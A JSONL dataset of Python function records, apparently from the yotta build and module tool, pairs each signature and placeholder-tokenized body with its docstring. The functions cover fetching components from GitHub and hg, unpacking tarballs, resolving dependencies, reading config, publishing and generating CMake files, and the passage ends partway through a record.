{"signature": "@_handleAuth<EOL>def _getTarball(url, into_directory, cache_key, origin_info=None):", "body": "try:<EOL><INDENT>access_common.unpackFromCache(cache_key, into_directory)<EOL><DEDENT>except KeyError as e:<EOL><INDENT>tok = settings.getProperty('<STR_LIT>', '<STR_LIT>')<EOL>headers = {}<EOL>if tok is not None:<EOL><INDENT>headers['<STR_LIT>'] = '<STR_LIT>' + str(tok)<EOL><DEDENT>logger.debug('<STR_LIT>', url)<EOL>response = requests.get(url, allow_redirects=True, stream=True, headers=headers)<EOL>response.raise_for_status()<EOL>logger.debug('<STR_LIT>', url)<EOL>logger.debug('<STR_LIT>', response.headers)<EOL>response.raise_for_status()<EOL>access_common.unpackTarballStream(<EOL>stream = response,<EOL>into_directory = into_directory,<EOL>hash = {},<EOL>cache_key = cache_key,<EOL>origin_info = origin_info<EOL>)<EOL><DEDENT>", "docstring": "unpack the specified tarball url into the specified directory", "id": "f13545:m8"}
{"signature": "@classmethod<EOL><INDENT>def createFromSource(cls, vs, name=None):<DEDENT>", "body": "return GithubComponent(vs.location, vs.spec, vs.semantic_spec, name)<EOL>", "docstring": "returns a github component for any github url (including\n            git+ssh:// git+http:// etc. or None if this is not a Github URL.\n            For all of these we use the github api to grab a tarball, because\n            that's faster.\n\n            Normally version will be empty, unless the original url was of the\n            form: 'owner/repo @version' or 'url://...#version', which can be used\n            to grab a particular tagged version.\n\n            (Note that for github components we ignore the component name - it\n             doesn't have to match the github module name)", "id": "f13545:c1:m1"}
{"signature": "def availableVersions(self):", "body": "r = []<EOL>for t in self._getTags():<EOL><INDENT>logger.debug(\"<STR_LIT>\", t)<EOL>if not len(t[<NUM_LIT:0>].strip()):<EOL><INDENT>continue<EOL><DEDENT>try:<EOL><INDENT>r.append(GithubComponentVersion(t[<NUM_LIT:0>], t[<NUM_LIT:0>], url=t[<NUM_LIT:1>], name=self.name, cache_key=None))<EOL><DEDENT>except ValueError:<EOL><INDENT>logger.debug('<STR_LIT>', t)<EOL><DEDENT><DEDENT>return r<EOL>", "docstring": "return a list of Version objects, each with a tarball URL set", "id": "f13545:c1:m5"}
{"signature": "def availableTags(self):", "body": "return [<EOL>GithubComponentVersion(<EOL>'<STR_LIT>', t[<NUM_LIT:0>], t[<NUM_LIT:1>], self.name, cache_key=_createCacheKey('<STR_LIT>', t[<NUM_LIT:0>], t[<NUM_LIT:1>], self.name)<EOL>) for t in self._getTags()<EOL>]<EOL>", "docstring": "return a list of GithubComponentVersion objects for all tags", "id": "f13545:c1:m6"}
{"signature": "def availableBranches(self):", "body": "return [<EOL>GithubComponentVersion(<EOL>'<STR_LIT>', b[<NUM_LIT:0>], b[<NUM_LIT:1>], self.name, cache_key=None<EOL>) for b in _getBranchHeads(self.repo).items()<EOL>]<EOL>", "docstring": "return a list of GithubComponentVersion objects for the tip of each branch", "id": "f13545:c1:m7"}
{"signature": "def commitVersion(self):", "body": "import re<EOL>commit_match = re.match('<STR_LIT>', self.tagOrBranchSpec(), re.I)<EOL>if commit_match:<EOL><INDENT>return GithubComponentVersion(<EOL>'<STR_LIT>', '<STR_LIT>', _getCommitArchiveURL(self.repo, self.tagOrBranchSpec()), self.name, cache_key=None<EOL>)<EOL><DEDENT>return None<EOL>", "docstring": "return a GithubComponentVersion object for a specific commit if valid", "id": "f13545:c1:m9"}
{"signature": "@classmethod<EOL><INDENT>def createFromSource(cls, vs, name=None):<DEDENT>", "body": "<EOL>if vs.location.startswith('<STR_LIT>'):<EOL><INDENT>location = vs.location[<NUM_LIT:3>:]<EOL><DEDENT>else:<EOL><INDENT>location = vs.location<EOL><DEDENT>return HGComponent(location, vs.spec)<EOL>", "docstring": "returns a hg component for any hg:// url, or None if this is not\n            a hg component.\n\n            Normally version will be empty, unless the original url was of the\n            form 'hg+ssh://...#version', which can be used to grab a particular\n            tagged version.", "id": "f13548:c2:m1"}
{"signature": "def _truthyConfValue(v):", "body": "if v is False:<EOL><INDENT>return False<EOL><DEDENT>elif v is None:<EOL><INDENT>return False<EOL><DEDENT>elif v == <NUM_LIT:0>:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Determine yotta-config truthiness. In yotta config land truthiness is\n        different to python or json truthiness (in order to map nicely only\n        preprocessor and CMake definediness):\n\n          json      -> python -> truthy/falsey\n          false     -> False  -> Falsey\n          null      -> None   -> Falsey\n          undefined -> None   -> Falsey\n          0         -> 0      -> Falsey\n          \"\"        -> \"\"     -> Truthy (different from python)\n          \"0\"       -> \"0\"    -> Truthy\n          {}        -> {}     -> Truthy (different from python)\n          []        -> []     -> Truthy (different from python)\n          everything else is truthy", "id": "f13549:m0"}
{"signature": "def getDependencySpecs(self, target=None):", "body": "deps = []<EOL>def specForDependency(name, version_spec, istest):<EOL><INDENT>shrinkwrap = self.getShrinkwrapMapping()<EOL>shrinkwrap_version_req = None<EOL>if name in shrinkwrap:<EOL><INDENT>shrinkwrap_version_req = shrinkwrap[name]<EOL>logger.debug(<EOL>'<STR_LIT>', self.getName(), shrinkwrap_version_req, name<EOL>)<EOL><DEDENT>return pack.DependencySpec(<EOL>name,<EOL>version_spec,<EOL>istest,<EOL>shrinkwrap_version_req = shrinkwrap_version_req,<EOL>specifying_module = self.getName()<EOL>)<EOL><DEDENT>deps += [specForDependency(x[<NUM_LIT:0>], x[<NUM_LIT:1>], False) for x in self.description.get('<STR_LIT>', {}).items()]<EOL>target_deps = self.description.get('<STR_LIT>', {})<EOL>if target is not None:<EOL><INDENT>for conf_key, target_conf_deps in target_deps.items():<EOL><INDENT>if _truthyConfValue(target.getConfigValue(conf_key)) or conf_key in target.getSimilarTo_Deprecated():<EOL><INDENT>logger.debug(<EOL>'<STR_LIT>' %<EOL>(conf_key, self.getName())<EOL>)<EOL>deps += [specForDependency(x[<NUM_LIT:0>], x[<NUM_LIT:1>], False) for x in target_conf_deps.items()]<EOL><DEDENT><DEDENT><DEDENT>deps += [specForDependency(x[<NUM_LIT:0>], x[<NUM_LIT:1>], True) for x in self.description.get('<STR_LIT>', {}).items()]<EOL>target_deps = self.description.get('<STR_LIT>', {})<EOL>if target is not None:<EOL><INDENT>for conf_key, target_conf_deps in target_deps.items():<EOL><INDENT>if _truthyConfValue(target.getConfigValue(conf_key)) or conf_key in target.getSimilarTo_Deprecated():<EOL><INDENT>logger.debug(<EOL>'<STR_LIT>' %<EOL>(conf_key, self.getName())<EOL>)<EOL>deps += [specForDependency(x[<NUM_LIT:0>], x[<NUM_LIT:1>], True) for x in target_conf_deps.items()]<EOL><DEDENT><DEDENT><DEDENT>seen = set()<EOL>r = []<EOL>for dep in deps:<EOL><INDENT>if not dep.name in seen:<EOL><INDENT>r.append(dep)<EOL>seen.add(dep.name)<EOL><DEDENT><DEDENT>return r<EOL>", "docstring": "Returns [DependencySpec]\n\n            These are returned in the order that they are listed in the\n            component description file: this is so that dependency resolution\n            proceeds in a predictable way.", "id": "f13549:c0:m1"}
{"signature": "def satisfyTarget(self, target_name_and_version, update_installed=False, additional_config=None, install_missing=True):", "body": "<EOL>from yotta.lib import target<EOL>application_dir = None<EOL>if self.isApplication():<EOL><INDENT>application_dir = self.path<EOL><DEDENT>return target.getDerivedTarget(<EOL>target_name_and_version,<EOL>self.targetsPath(),<EOL>install_missing = install_missing,<EOL>application_dir = application_dir,<EOL>update_installed = update_installed,<EOL>additional_config = additional_config,<EOL>shrinkwrap = self.getShrinkwrap()<EOL>)<EOL>", "docstring": "Ensure that the specified target name (and optionally version,\n            github ref or URL) is installed in the targets directory of the\n            current component\n\n            returns (derived_target, errors)", "id": "f13549:c0:m12"}
{"signature": "def getTarget(self, target_name_and_version, additional_config=None):", "body": "derived_target, errors = self.satisfyTarget(<EOL>target_name_and_version,<EOL>additional_config = additional_config,<EOL>install_missing = False<EOL>)<EOL>if len(errors):<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>return derived_target<EOL><DEDENT>", "docstring": "Return a derived target object representing the selected target: if\n            the target is not installed, or is invalid then the returned object\n            will test false in a boolean context.\n\n            Returns derived_target\n\n            Errors are not displayed.", "id": "f13549:c0:m13"}
{"signature": "def installedDependencies(self):", "body": "return self.installed_dependencies<EOL>", "docstring": "Return true if satisfyDependencies has been called.\n\n            Note that this is slightly different to when all of the\n            dependencies are actually satisfied, but can be used as if it means\n            that.", "id": "f13549:c0:m14"}
{"signature": "def isApplication(self):", "body": "return bool(len(self.getBinaries()))<EOL>", "docstring": "Return true if this module is an application instead of a reusable\n            library", "id": "f13549:c0:m15"}
{"signature": "def getBinaries(self):", "body": "<EOL>if '<STR_LIT>' in self.description:<EOL><INDENT>return {os.path.normpath(self.description['<STR_LIT>']): self.getName()}<EOL><DEDENT>else:<EOL><INDENT>return {}<EOL><DEDENT>", "docstring": "Return a dictionary of binaries to compile: {\"dirname\":\"exename\"},\n            this is used when automatically generating CMakeLists\n\n            Note that currently modules may define only a single executable\n            binary or library to be built by the automatic build system, by\n            specifying `\"bin\": \"dir-to-be-built-into-binary\"`, or `\"lib\":\n            \"dir-to-be-built-into-library\"`, and the bin/lib will always have\n            the same name as the module. The default behaviour if nothing is\n            specified is for the 'source' directory to be built into a library.\n\n            The module.json syntax may allow for other combinations in the\n            future (and callers of this function should not rely on it\n            returning only a single item). For example, a \"bin\": {\"dirname\":\n            \"exename\"} syntax might be supported, however currently more\n            complex builds must be controlled by custom CMakeLists.", "id": "f13549:c0:m16"}
{"signature": "def getLibs(self, explicit_only=False):", "body": "if '<STR_LIT>' in self.description:<EOL><INDENT>return {os.path.normpath(self.description['<STR_LIT>']): self.getName()}<EOL><DEDENT>elif '<STR_LIT>' not in self.description and not explicit_only:<EOL><INDENT>return {'<STR_LIT:source>': self.getName()}<EOL><DEDENT>else:<EOL><INDENT>return {}<EOL><DEDENT>", "docstring": "Return a dictionary of libraries to compile: {\"dirname\":\"libname\"},\n            this is used when automatically generating CMakeLists.\n\n            If explicit_only is not set, then in the absence of both 'lib' and\n            'bin' sections in the module.json file, the \"source\" directory\n            will be returned.\n\n            Note that currently modules may define only a single executable\n            binary or library to be built by the automatic build system, by\n            specifying `\"bin\": \"dir-to-be-built-into-binary\"`, or `\"lib\":\n            \"dir-to-be-built-into-library\"`, and the bin/lib will always have\n            the same name as the module. The default behaviour if nothing is\n            specified is for the 'source' directory to be built into a library.\n\n            The module.json syntax may allow for other combinations in the\n            future (and callers of this function should not rely on it\n            returning only a single item). For example, a \"bin\": {\"dirname\":\n            \"exename\"} syntax might be supported, however currently more\n            complex builds must be controlled by custom CMakeLists.", "id": "f13549:c0:m17"}
{"signature": "def licenses(self):", "body": "if '<STR_LIT>' in self.description:<EOL><INDENT>return [self.description['<STR_LIT>']]<EOL><DEDENT>else:<EOL><INDENT>return [x['<STR_LIT:type>'] for x in self.description['<STR_LIT>']]<EOL><DEDENT>", "docstring": "Return a list of licenses that apply to this module. (Strings,\n            which may be SPDX identifiers)", "id": "f13549:c0:m18"}
{"signature": "def getExtraIncludes(self):", "body": "if '<STR_LIT>' in self.description:<EOL><INDENT>return [os.path.normpath(x) for x in self.description['<STR_LIT>']]<EOL><DEDENT>else:<EOL><INDENT>return []<EOL><DEDENT>", "docstring": "Some components must export whole directories full of headers into\n            the search path. This is really really bad, and they shouldn't do\n            it, but support is provided as a concession to compatibility.", "id": "f13549:c0:m19"}
{"signature": "def getExtraSysIncludes(self):", "body": "if '<STR_LIT>' in self.description:<EOL><INDENT>return [os.path.normpath(x) for x in self.description['<STR_LIT>']]<EOL><DEDENT>else:<EOL><INDENT>return []<EOL><DEDENT>", "docstring": "Some components (e.g. libc) must export directories of header files\n            into the system include search path. They do this by adding a\n            'extraSysIncludes' : [ array of directories ] field in their\n            package description. This function returns the list of directories\n            (or an empty list), if it doesn't exist.", "id": "f13549:c0:m20"}
{"signature": "def sourceDirValidationError(dirname, component_name):", "body": "if dirname == component_name:<EOL><INDENT>return '<STR_LIT>' % (component_name, dirname)<EOL><DEDENT>elif dirname.lower() in ('<STR_LIT:source>', '<STR_LIT:src>') and dirname != '<STR_LIT:source>':<EOL><INDENT>return '<STR_LIT>' % (component_name, dirname)<EOL><DEDENT>elif isPotentialTestDir(dirname) and dirname != '<STR_LIT:test>':<EOL><INDENT>return '<STR_LIT>' % (component_name, dirname)<EOL><DEDENT>elif not Source_Dir_Regex.match(dirname):<EOL><INDENT>corrected = Source_Dir_Invalid_Regex.sub('<STR_LIT>', dirname.lower())<EOL>if not corrected:<EOL><INDENT>corrected = '<STR_LIT:source>'<EOL><DEDENT>return '<STR_LIT>' % (component_name, dirname, corrected)<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "validate source directory names in components", "id": "f13551:m1"}
{"signature": "def read(self, filenames):", "body": "for fn in filenames:<EOL><INDENT>try:<EOL><INDENT>self.configs[fn] = ordered_json.load(fn)<EOL><DEDENT>except IOError:<EOL><INDENT>self.configs[fn] = OrderedDict()<EOL><DEDENT>except Exception as e:<EOL><INDENT>self.configs[fn] = OrderedDict()<EOL>logging.warning(<EOL>\"<STR_LIT>\",<EOL>fn, e<EOL>)<EOL><DEDENT><DEDENT>", "docstring": "Read a list of files. Their configuration values are merged, with\n             preference to values from files earlier in the list.", "id": "f13552:c0:m1"}
{"signature": "def get(self, path):", "body": "path = _splitPath(path)<EOL>for config in self.configs.values():<EOL><INDENT>cur = config<EOL>for el in path:<EOL><INDENT>if el in cur:<EOL><INDENT>cur = cur[el]<EOL><DEDENT>else:<EOL><INDENT>cur = None<EOL>break<EOL><DEDENT><DEDENT>if cur is not None:<EOL><INDENT>return cur<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "return a configuration value\n\n            usage:\n                get('section.property')\n\n            Note that currently array indexes are not supported. You must\n            get the whole array.\n\n            returns None if any path element or the property is missing", "id": "f13552:c0:m2"}
{"signature": "def set(self, path, value=None, filename=None):", "body": "if filename is None:<EOL><INDENT>config = self._firstConfig()[<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>config = self.configs[filename]<EOL><DEDENT>path = _splitPath(path)<EOL>for el in path[:-<NUM_LIT:1>]:<EOL><INDENT>if el in config:<EOL><INDENT>config = config[el]<EOL><DEDENT>else:<EOL><INDENT>config[el] = OrderedDict()<EOL>config = config[el]<EOL><DEDENT><DEDENT>config[path[-<NUM_LIT:1>]] = value<EOL>", "docstring": "Set a configuration value. If no filename is specified, the\n            property is set in the first configuration file. Note that if a\n            filename is specified and the property path is present in an\n            earlier filename then set property will be hidden.\n\n            usage:\n                set('section.property', value='somevalue')\n\n            Note that currently array indexes are not supported. You must\n            set the whole array.", "id": "f13552:c0:m3"}
{"signature": "def nonShrinkwrappedVersionReq(self):", "body": "return self.version_req<EOL>", "docstring": "return the dependency specification ignoring any shrinkwrap", "id": "f13553:c2:m2"}
{"signature": "def versionReq(self):", "body": "return self.shrinkwrap_version_req or self.version_req<EOL>", "docstring": "return the dependency specification, which may be from a shrinkwrap file", "id": "f13553:c2:m3"}
{"signature": "def origin(self):", "body": "if self.origin_info is None:<EOL><INDENT>self.origin_info = {}<EOL>try:<EOL><INDENT>self.origin_info = ordered_json.load(os.path.join(self.path, Origin_Info_Fname))<EOL><DEDENT>except IOError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return self.origin_info.get('<STR_LIT:url>', None)<EOL>", "docstring": "Read the .yotta_origin.json file (if present), and return the value\n            of the 'url' property", "id": "f13553:c3:m3"}
{"signature": "def getError(self):", "body": "return self.error<EOL>", "docstring": "If this isn't a valid component/target, return some sort of\n            explanation about why that is.", "id": "f13553:c3:m6"}
{"signature": "def setError(self, error):", "body": "self.error = error<EOL>", "docstring": "Set an error: note that setting an error does not make the module\n            invalid if it would otherwise be valid.", "id": "f13553:c3:m7"}
{"signature": "def outdated(self):", "body": "if self.latest_suitable_version and self.latest_suitable_version > self.version:<EOL><INDENT>return self.latest_suitable_version<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Return a truthy object if a newer suitable version is available,\n            otherwise return None.\n            (in fact the object returned is a ComponentVersion that can be used\n             to get the newer version)", "id": "f13553:c3:m11"}
{"signature": "def vcsIsClean(self):", "body": "if not self.vcs:<EOL><INDENT>return True<EOL><DEDENT>return self.vcs.isClean()<EOL>", "docstring": "Return true if the directory is not version controlled, or if it is\n            version controlled with a supported system and is in a clean state", "id": "f13553:c3:m12"}
{"signature": "def commitVCS(self, tag=None):", "body": "if not self.vcs:<EOL><INDENT>return<EOL><DEDENT>self.vcs.commit(message='<STR_LIT>' % tag, tag=tag)<EOL>", "docstring": "Commit the current working directory state (or do nothing if the\n            working directory is not version controlled)", "id": "f13553:c3:m13"}
{"signature": "def getVersion(self):", "body": "return self.version<EOL>", "docstring": "Return the version as specified by the package file.\n            This will always be a real version: 1.2.3, not a hash or a URL.\n\n            Note that a component installed through a URL still provides a real\n            version - so if the first component to depend on some component C\n            depends on it via a URI, and a second component depends on a\n            specific version 1.2.3, dependency resolution will only succeed if\n            the version of C obtained from the URL happens to be 1.2.3", "id": "f13553:c3:m14"}
{"signature": "def ignores(self, path):", "body": "test_path = PurePath('<STR_LIT:/>', path)<EOL>test_paths = tuple([test_path] + list(test_path.parents))<EOL>for exp in self.ignore_patterns:<EOL><INDENT>for tp in test_paths:<EOL><INDENT>if tp.match(exp):<EOL><INDENT>logger.debug('<STR_LIT>', path, tp, exp)<EOL>return True<EOL><DEDENT><DEDENT><DEDENT>return False<EOL>", "docstring": "Test if this module ignores the file at \"path\", which must be a\n            path relative to the root of the module.\n\n            If a file is within a directory that is ignored, the file is also\n            ignored.", "id": "f13553:c3:m18"}
{"signature": "def writeDescription(self):", "body": "ordered_json.dump(os.path.join(self.path, self.description_filename), self.description)<EOL>if self.vcs:<EOL><INDENT>self.vcs.markForCommit(self.description_filename)<EOL><DEDENT>", "docstring": "Write the current (possibly modified) component description to a\n            package description file in the component directory.", "id": "f13553:c3:m21"}
{"signature": "def generateTarball(self, file_object):", "body": "archive_name = '<STR_LIT>' % (self.getName(), self.getVersion())<EOL>def filterArchive(tarinfo):<EOL><INDENT>if tarinfo.name.find(archive_name) == <NUM_LIT:0> :<EOL><INDENT>unprefixed_name = tarinfo.name[len(archive_name)+<NUM_LIT:1>:]<EOL>tarinfo.mode &= <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>unprefixed_name = tarinfo.name<EOL><DEDENT>if self.ignores(unprefixed_name):<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>return tarinfo<EOL><DEDENT><DEDENT>with tarfile.open(fileobj=file_object, mode='<STR_LIT>') as tf:<EOL><INDENT>logger.info('<STR_LIT>' % archive_name)<EOL>tf.add(self.path, arcname=archive_name, filter=filterArchive)<EOL><DEDENT>", "docstring": "Write a tarball of the current component/target to the file object\n            \"file_object\", which must already be open for writing at position 0", "id": "f13553:c3:m22"}
{"signature": "def publish(self, registry=None):", "body": "if (registry is None) or (registry == registry_access.Registry_Base_URL):<EOL><INDENT>if '<STR_LIT>' in self.description and self.description['<STR_LIT>']:<EOL><INDENT>return \"<STR_LIT>\" % (self.description_filename.split('<STR_LIT:.>')[<NUM_LIT:0>])<EOL><DEDENT><DEDENT>upload_archive = os.path.join(self.path, '<STR_LIT>')<EOL>fsutils.rmF(upload_archive)<EOL>fd = os.open(upload_archive, os.O_CREAT | os.O_EXCL | os.O_RDWR | getattr(os, \"<STR_LIT>\", <NUM_LIT:0>))<EOL>with os.fdopen(fd, '<STR_LIT>') as tar_file:<EOL><INDENT>tar_file.truncate()<EOL>self.generateTarball(tar_file)<EOL>logger.debug('<STR_LIT>', tar_file.tell())<EOL>tar_file.seek(<NUM_LIT:0>)<EOL>shasum = hashlib.sha256()<EOL>while True:<EOL><INDENT>chunk = tar_file.read(<NUM_LIT:1000>)<EOL>if not chunk:<EOL><INDENT>break<EOL><DEDENT>shasum.update(chunk)<EOL><DEDENT>logger.debug('<STR_LIT>', shasum.hexdigest())<EOL>tar_file.seek(<NUM_LIT:0>)<EOL>with self.findAndOpenReadme() as readme_file_wrapper:<EOL><INDENT>if not readme_file_wrapper:<EOL><INDENT>logger.warning(\"<STR_LIT>\")<EOL><DEDENT>with open(self.getDescriptionFile(), '<STR_LIT:r>') as description_file:<EOL><INDENT>return registry_access.publish(<EOL>self.getRegistryNamespace(),<EOL>self.getName(),<EOL>self.getVersion(),<EOL>description_file,<EOL>tar_file,<EOL>readme_file_wrapper.file,<EOL>readme_file_wrapper.extension().lower(),<EOL>registry=registry<EOL>)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Publish to the appropriate registry, return a description of any\n            errors that occured, or None if successful.\n            No VCS tagging is performed.", "id": "f13553:c3:m24"}
{"signature": "def unpublish(self, registry=None):", "body": "return registry_access.unpublish(<EOL>self.getRegistryNamespace(),<EOL>self.getName(),<EOL>self.getVersion(),<EOL>registry=registry<EOL>)<EOL>", "docstring": "Try to un-publish the current version. Return a description of any\n            errors that occured, or None if successful.", "id": "f13553:c3:m25"}
{"signature": "def getScript(self, scriptname):", "body": "script = self.description.get('<STR_LIT>', {}).get(scriptname, None)<EOL>if script is not None:<EOL><INDENT>if isinstance(script, str) or isinstance(script, type(u'<STR_LIT>')):<EOL><INDENT>import shlex<EOL>script = shlex.split(script)<EOL><DEDENT>if len(script) and script[<NUM_LIT:0>].lower().endswith('<STR_LIT>'):<EOL><INDENT>if not os.path.isabs(script[<NUM_LIT:0>]):<EOL><INDENT>absscript = os.path.abspath(os.path.join(self.path, script[<NUM_LIT:0>]))<EOL>logger.debug('<STR_LIT>', script[<NUM_LIT:0>], absscript)<EOL>script[<NUM_LIT:0>] = absscript<EOL><DEDENT>import sys<EOL>script = [sys.executable] + script<EOL><DEDENT><DEDENT>return script<EOL>", "docstring": "Return the specified script command. If the first part of the\n            command is a .py file, then the current python interpreter is\n            prepended.\n\n            If the script is a single string, rather than an array, it is\n            shlex-split.", "id": "f13553:c3:m26"}
{"signature": "@fsutils.dropRootPrivs<EOL><INDENT>def runScript(self, scriptname, additional_environment=None):<DEDENT>", "body": "import subprocess<EOL>import shlex<EOL>command = self.getScript(scriptname)<EOL>if command is None:<EOL><INDENT>logger.debug('<STR_LIT>', self, scriptname)<EOL>return <NUM_LIT:0><EOL><DEDENT>if not len(command):<EOL><INDENT>logger.error(\"<STR_LIT>\", scriptname, self.getName())<EOL>return <NUM_LIT:1><EOL><DEDENT>env = os.environ.copy()<EOL>if additional_environment is not None:<EOL><INDENT>env.update(additional_environment)<EOL><DEDENT>errcode = <NUM_LIT:0><EOL>child = None<EOL>try:<EOL><INDENT>logger.debug('<STR_LIT>', command)<EOL>child = subprocess.Popen(<EOL>command, cwd = self.path, env = env<EOL>)<EOL>child.wait()<EOL>if child.returncode:<EOL><INDENT>logger.error(<EOL>\"<STR_LIT>\",<EOL>scriptname,<EOL>self.getName(),<EOL>child.returncode<EOL>)<EOL>errcode = child.returncode<EOL><DEDENT>child = None<EOL><DEDENT>finally:<EOL><INDENT>if child is not None:<EOL><INDENT>tryTerminate(child)<EOL><DEDENT><DEDENT>return errcode<EOL>", "docstring": "Run the specified script from the scripts section of the\n            module.json file in the directory of this module.", "id": "f13553:c3:m27"}
{"signature": "def dropRootPrivs(fn):", "body": "def wrapper(*args, **kwargs):<EOL><INDENT>return fn(*args, **kwargs)<EOL><DEDENT>return wrapper<EOL>", "docstring": "decorator to drop su/sudo privilages before running a function on\n        unix/linux.\n\n        ** on windows this function does nothing **", "id": "f13555:m0"}
{"signature": "def which(program):", "body": "<EOL>if os.path.exists(program) and os.access(program, os.X_OK):<EOL><INDENT>return program<EOL><DEDENT>for path in os.environ['<STR_LIT>'].split(os.pathsep):<EOL><INDENT>path = path.strip('<STR_LIT:\">')<EOL>for ext in os.environ.get('<STR_LIT>', '<STR_LIT>').split(os.pathsep):<EOL><INDENT>progpath = os.path.join(path, program + ext)<EOL>if os.path.exists(progpath) and os.access(progpath, os.X_OK):<EOL><INDENT>return progpath<EOL><DEDENT><DEDENT><DEDENT>return None<EOL>", "docstring": "look for \"program\" in PATH (respecting PATHEXT), and return the path to\n        it, or None if it was not found", "id": "f13555:m6"}
{"signature": "def islast(generator):", "body": "next_x = None<EOL>first = True<EOL>for x in generator:<EOL><INDENT>if not first:<EOL><INDENT>yield (next_x, False)<EOL><DEDENT>next_x = x<EOL>first = False<EOL><DEDENT>if not first:<EOL><INDENT>yield (next_x, True)<EOL><DEDENT>", "docstring": "indicate whether the current item is the last one in a generator", "id": "f13556:m0"}
{"signature": "def configure(self, component, all_dependencies):", "body": "r = {}<EOL>builddir = self.buildroot<EOL>available_dependencies = OrderedDict((k, v) for k, v in all_dependencies.items() if v)<EOL>self.set_toplevel_definitions = '<STR_LIT>'<EOL>if self.build_info_include_file is None:<EOL><INDENT>self.build_info_include_file, build_info_definitions = self.getBuildInfo(component.path, builddir)<EOL>self.set_toplevel_definitions += build_info_definitions<EOL><DEDENT>if self.config_include_file is None:<EOL><INDENT>self.config_include_file, config_definitions, self.config_json_file = self._getConfigData(available_dependencies, component, builddir, self.build_info_include_file)<EOL>self.set_toplevel_definitions += config_definitions<EOL><DEDENT>self.configured = True<EOL>return {<EOL>'<STR_LIT>': self.config_include_file,<EOL>'<STR_LIT>': self.config_json_file,<EOL>'<STR_LIT>': self.build_info_include_file<EOL>}<EOL>", "docstring": "Ensure all config-time files have been generated. Return a\n            dictionary of generated items.", "id": "f13557:c1:m2"}
{"signature": "def generateRecursive(self, component, all_components, builddir=None, modbuilddir=None, processed_components=None, application=None):", "body": "assert(self.configured)<EOL>if builddir is None:<EOL><INDENT>builddir = self.buildroot<EOL><DEDENT>if modbuilddir is None:<EOL><INDENT>modbuilddir = os.path.join(builddir, '<STR_LIT>')<EOL><DEDENT>if processed_components is None:<EOL><INDENT>processed_components = dict()<EOL><DEDENT>if not self.target:<EOL><INDENT>yield '<STR_LIT>' % self.target<EOL><DEDENT>toplevel = not len(processed_components)<EOL>logger.debug('<STR_LIT>' % (component, self.target))<EOL>recursive_deps = component.getDependenciesRecursive(<EOL>available_components = all_components,<EOL>target = self.target,<EOL>available_only = True,<EOL>test = True<EOL>)<EOL>dependencies = component.getDependencies(<EOL>all_components,<EOL>target = self.target,<EOL>available_only = True,<EOL>test = True<EOL>)<EOL>for name, dep in dependencies.items():<EOL><INDENT>if not dep:<EOL><INDENT>if dep.isTestDependency():<EOL><INDENT>logger.debug('<STR_LIT>' % (name, component))<EOL><DEDENT>else:<EOL><INDENT>yield '<STR_LIT>' % (name, component)<EOL><DEDENT><DEDENT><DEDENT>processed_components[component.getName()] = component<EOL>new_dependencies = OrderedDict([(name,c) for name,c in dependencies.items() if c and not name in processed_components])<EOL>self.generate(builddir, modbuilddir, component, new_dependencies, dependencies, recursive_deps, application, toplevel)<EOL>logger.debug('<STR_LIT>' % component)<EOL>for d in recursive_deps.values():<EOL><INDENT>logger.debug('<STR_LIT>' % d)<EOL><DEDENT>processed_components.update(new_dependencies)<EOL>for name, c in new_dependencies.items():<EOL><INDENT>for error in self.generateRecursive(<EOL>c, all_components, os.path.join(modbuilddir, name), modbuilddir, processed_components, application=application<EOL>):<EOL><INDENT>yield error<EOL><DEDENT><DEDENT>", "docstring": "generate top-level CMakeLists for this component and its\n            dependencies: the CMakeLists are all generated in self.buildroot,\n            which MUST be out-of-source\n\n            !!! NOTE: experimenting with a slightly different way of doing\n            things here, this function is a generator that yields any errors\n            produced, so the correct use is:\n\n            for error in gen.generateRecursive(...):\n                print(error)", "id": "f13557:c1:m3"}
{"signature": "def _validateListedSubdirsExist(self, component):", "body": "lib_subdirs = component.getLibs(explicit_only=True)<EOL>bin_subdirs = component.getBinaries()<EOL>ok = True<EOL>for d in lib_subdirs:<EOL><INDENT>if not os.path.exists(os.path.join(component.path, d)):<EOL><INDENT>logger.warning(<EOL>\"<STR_LIT>\", d, component<EOL>)<EOL>ok = False<EOL><DEDENT><DEDENT>for d in bin_subdirs:<EOL><INDENT>if not os.path.exists(os.path.join(component.path, d)):<EOL><INDENT>logger.warning(<EOL>\"<STR_LIT>\", d, component<EOL>)<EOL>ok = False<EOL><DEDENT><DEDENT>return ok<EOL>", "docstring": "Return true if all the subdirectories which this component lists in\n            its module.json file exist (although their validity is otherwise\n            not checked).\n\n            If they don't, warning messages are printed.", "id": "f13557:c1:m5"}
{"signature": "def _listSubDirectories(self, component, toplevel):", "body": "manual_subdirs = []<EOL>auto_subdirs = []<EOL>header_subdirs = []<EOL>lib_subdirs = component.getLibs()<EOL>bin_subdirs = component.getBinaries()<EOL>test_subdirs = []<EOL>resource_subdirs = []<EOL>top_sources = []<EOL>start_on_top = \"<STR_LIT:.>\" in [os.path.normpath(x) for x in list(lib_subdirs.keys()) + list(bin_subdirs.keys())]<EOL>for f in sorted(os.listdir(component.path)):<EOL><INDENT>if f in Ignore_Subdirs or f.startswith('<STR_LIT:.>') or f.startswith('<STR_LIT:_>'):<EOL><INDENT>continue<EOL><DEDENT>check_cmakefile_path = os.path.join(f, '<STR_LIT>')<EOL>if os.path.isfile(os.path.join(component.path, check_cmakefile_path)) and notcomponent.ignores(check_cmakefile_path):<EOL><INDENT>self.checkStandardSourceDir(f, component)<EOL>manual_subdirs.append(f)<EOL>if f in ('<STR_LIT:test>',):<EOL><INDENT>test_subdirs.append(f)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if os.path.isfile(os.path.join(component.path, f)):<EOL><INDENT>if not component.ignores(f) and start_on_top:<EOL><INDENT>sf = self.createSourceFile(f, os.path.join(component.path, f), \"<STR_LIT:.>\")<EOL>if sf is not None:<EOL><INDENT>top_sources.append(sf)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>sources = self.containsSourceFiles(os.path.join(component.path, f), 